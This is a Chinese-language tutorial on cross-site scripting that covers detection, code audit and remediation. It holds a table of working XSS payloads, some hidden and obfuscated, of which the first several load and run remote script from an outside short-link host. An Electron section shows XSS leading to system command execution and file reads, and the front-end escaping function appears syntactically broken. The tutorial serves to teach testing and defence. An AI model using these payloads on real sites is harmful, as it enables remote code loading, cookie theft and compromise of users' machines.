一、XSS漏洞概述

1.1 XSS漏洞简介

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

1.2 XSS漏洞检测

标签	测试脚本
svg	<svg onload=eval($.get("//t.cn/R5iR4NG")) style=display:none> <svg onload=a=decodeURIComponent("http%3A%2F%2Ft.cn%2FR5iR4NG");$.getScript(a) style=display:none>
img	<img src=x style=display:none onerror=s=createElement('script');body.appendChild(s);s.src='//t.cn/R5iR4NG';>
isindex	<isindex type=image src=x onerror=alert(/xss/)>
a	<a title='x' onmouseover=alert(unescape(/hello%20world/.source)) style=position:absolute;left:0;top:0;width:5000px;height:5000px></a>
select	<select autofocus onfocus=alert(document.domain)>
textarea	<textarea autofocus onfocus=alert(document.domain)>
keygen	<keygen autofocus onfocus=alert(document.domain)>
body	<body onload=prompt(document.domain);>
embed	<embed src="javascript:alert(document.domain)"/>
video	<video><source onerror="javascript:alert(document.domain)">
object	<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
iframe	<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=>
meta	<meta http-equiv="refresh" content="0; url=data:text/html,%3Cscript%3Ealert%281%29%3C%2fscript%3E">
b	<b oncut = alert()>
script	<script src=test.jpg>
script	<script>z="alert"</script><br/><script>z=z+"(123)"</script><br/><script>eval(z)</script>
div	<div id="x">alert%28document.cookie%29%3B</div><br/><p>eval(unescape(x.innerHTML));</p>
script	<script>window.open('https://vulnerablesite.com/users/eval(atob(window.name))','YWxlcnQoL3hzcy8p')</script>
script	<script>eval.call${'prompt\x281)'}</script>
svg	<svg><script>&#112;&#114;&#111;&#109;&#112;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;</script>

二、XSS漏洞代码审计

2.1 Electron

electron是一个流行的桌面应用开发框架，允许开发者使用web技术和nodejs结合来迅速开发桌面应用，因为引入了JS，所以也引入了XSS漏洞。

- 系统命令

```
<script>require("child_process").exec("calc.exe")</script>
```

- 读写文件

```
<script>require('fs').writeFile('hack.txt','xxxx')</script>
<script>require('fs').readFileSync('c:\\windows\\php.ini')</script>
```

三、XSS漏洞修复

3.1 服务端过滤

- Java：https://owasp.org/www-project-java-html-sanitizer/
- .NET：https://github.com/mganss/HtmlSanitizer
- Golang：https://github.com/microcosm-cc/bluemonday
- PHP：http://htmlpurifier.org/
- Python：https://pypi.python.org/pypi/bleach
- Django框架（Python）：https://github.com/shaowenchen/django-xss-cleaner

3.2 前端过滤

```
$.ajax({
      url:'/test.php',
        type:'post',
        dataType:'text',
        cache:false,
        async:false,
      })
      .done(function(data){
        $("body").append(xssCheck(data));
      })

function xssCheck(str,reg){
  return str ? str.replace(reg ||/[&<">'](?:
(amp|lt|quot|gt|#39|nbsp|#d+);)?/g,function (a, b) {
    if(b){
      return a;
    }else{
      return{
        '<':'&lt;',
        '&':'&amp;',
        '"':'&quot;',
        '>':'&gt;',
        "'":''',
      }[a]
    }
  }): '';
}
```